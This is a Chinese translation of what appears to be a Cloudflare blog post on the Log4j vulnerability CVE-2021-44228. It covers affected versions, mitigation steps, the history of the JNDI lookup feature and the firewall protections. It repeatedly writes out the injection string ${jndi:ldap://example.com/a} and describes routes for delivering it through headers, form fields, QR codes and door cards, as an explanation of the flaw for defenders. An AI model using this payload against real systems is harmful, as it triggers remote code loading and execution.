在本博客帖文之前版本中,推荐了几种稍有不同的缓解方法。Apache Log4j 项目更新了其官方指南,我们也根据其推荐更新了本博客帖文

昨天,即 2021年 12 月 9 日,在流行的基于 Java 的日志记录程序包 Log4j 中发现一个非常严重的漏洞。该漏洞允许攻击者在远程服务器上执行代码;也就是所谓的远程代码执行 (RCE)。由于 Java 和 Log4j 被广泛使用,这很可能是自 HeartbleedShellShock 以来互联网上最严重的漏洞之一。

该漏洞 CVE-2021-44228 影响 Log4j 介于 2.0-beta-9 到 2.14.1 之间的版本 2。在 2.16.0 中已打上补丁。

在本帖文中,我们介绍了该漏洞的历史记录,它是如何引入的,Cloudflare 如何保护我们的客户。关于实际企图利用漏洞而被我们的防火墙服务阻止的详情在单独的博客帖文中叙述。

Cloudflare 采用基于 Java 的软件,我们的团队采取了措施,确保我们的系统不会受到攻击,或者缓解该漏洞的风险。与此同时,我们推出了防火墙规则来保护我们的客户。

但是,如果您的公司使用了基于 Java 的软件,其中使用了 Log4j,那么您应该立即查阅关于如何缓解和保护您的系统的章节,然后再阅读其余内容。

如何缓解 CVE-2021-44228 漏洞风险

实现以下某种缓解方法:Java 8(或更高版本)的用户应该升级到版本 2.16.0。Java 7 的用户应该升级到版本 2.12.2。

或者,在 2.16.0 之外的任何版本中,您可以将 JndiLookup 类从 classpath 中删除:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

漏洞历史记录

在 2013 年的版本 2.0-beta9 中,Log4j 程序包在问题 LOG4J2-313 中添加了“JNDILookup 插件”。要了解这一更改是如何带来问题的,就需要稍微了解一下 JNDI:Java 命名和目录接口。

自 20 世纪 90 年代末以来,Java 中就引入了 JDNI。它是一种目录服务,允许 Java 程序通过目录查找数据(以 Java 对象的形式)。JDNI 有多个服务提供程序接口 (SPI),支持它使用各种目录服务。

例如,CORBA COS(公共对象服务)、Java RMI(远程方法接口)注册表和 LDAP 都存在 SPI。LDAP 是非常流行的目录服务(轻量级目录访问协议),并且是 CVE-2021-44228 的主要关注点(尽管也可能使用其他 SPI)。

Java 程序可以将 JNDI 和 LDAP 一起使用来查找包含可能需要的数据的 Java 对象。例如,在标准 Java 文档中,有一个示例与 LDAP 服务器通信来从对象检索属性。它使用 URL ldap://localhost:389/o=JNDITutorial,从相同机器 (localhost) 上的端口 389 上运行的 LDAP 服务器查找 JNDITutorial 对象,并继续从中读取属性。

正如教程所说:“如果您的 LDAP 服务器位于其他机器上或者使用的是其他端口,那么您需要编辑 LDAP URL”。因此,LDAP 服务器可能在不同的机器上运行,并有可能位于互联网上的任意位置。这种灵活性意味着,如果攻击者可以控制 LDAP URL,就能导致 Java 程序从受攻击者控制的服务器加载对象。

以上就是 JNDI 和 LDAP 的基本情况;它们是 Java 生态系统中重要的组成部分。

但对于 Log4j 的情况,攻击者可以通过在 Log4j 中尝试编写诸如 ${jndi:ldap://example.com/a} 之类的字符串来控制 LDAP URL。如果发生这种情况,那么 Log4j 将连接到 example.com 上的 LDAP 服务器,并检索该对象。

发生这种情况是因为 Log4j 包含特殊语法格式为 ${prefix:name},其中 prefix 是多个不同的查找值之一,在这些查找值中应该对 name 求值。例如,${java:version} 是 Java 的当前运行版本。

LOG4J2-313 添加了如下所示的 jndi 查找:“JndiLookup 允许通过 JNDI 检索变量。默认情况下,键的前缀将是 java:comp/env/,但是,如果键包含‘:’,则不会添加前缀。”

当键中存在 : 时,如 ${jndi:ldap://example.com/a} 中那样,就不会有前缀,并且会向 LDAP 服务器查询该对象。这些查找可以在 Log4j 的配置中使用以及在记录行时使用。

所以,攻击者只需查找被记录的一些输入,然后添加诸如 ${jndi:ldap://example.com/a} 之类的内容。这可以是常见的 HTTP 标头,如 User-Agent(通常会被记录),或者可能是也可能被记录的表单参数,如 username。

这种情况在基于 Java 使用 Log4j 的联网软件中很可能非常常见。更隐蔽的情况是,使用 Java 的非联网软件也可能在不同系统之间传递数据时利用漏洞。

例如,包含利用漏洞的 User-Agent 字符串可以传递到以 Java 编写的执行索引编制或数据科学的后端系统,并且漏洞利用可能被记录。这就是所有基于 Java 的使用 Log4j 版本 2 的软件都必须打补丁或立即应用缓解措施的原因。即使联网软件不是以 Java 编写,字符串也可能会传递到使用 Java 的其他系统,从而使攻击者利用漏洞。

Even if the Internet-facing software is not written in Java it is possible that strings get passed to other systems that are in Java allowing the exploit to happen.

或者,假设有一个基于 Java 的计费系统,它会记录找不到客户的名字的情况。恶意的用户可能会使用包含漏洞的名字创建订单,这可能会经历多个跃点(以及需要很长时间),从 Web 服务器通过客户数据库进入计费系统,最终在其中执行。

而且 Java 不仅用于联网的系统,还用于其他许多系统。例如,不难想象,用于扫描盒子上的二维码的包裹处理系统或无接触门卡如果使用 Java 编写并使用 Log4j,都容易受到攻击。在一种情况下,精心编制的二维码可能包含带有漏洞字符串的邮寄地址;在另一种情况下,精心编程的门卡可能包含漏洞,并被跟踪进出的系统记录下来。

执行定期工作的系统后续可能会提取漏洞利用内容并加以记录。因此,漏洞利用可能保持休眠,直至使用 Java 编写的某个索引编制、打包或存档进程无意中记录了恶意字符串。这可能在几小时甚至几天之后发生。

Cloudflare 防火墙保护

Cloudflare 为使用我们的防火墙的客户推出了基于规则的保护,用于阻止 HTTP 请求中常见位置中的 jndi 查找。详情在此处予以详述。随着攻击者不断修改利用漏洞,我们也在持续优化这些规则。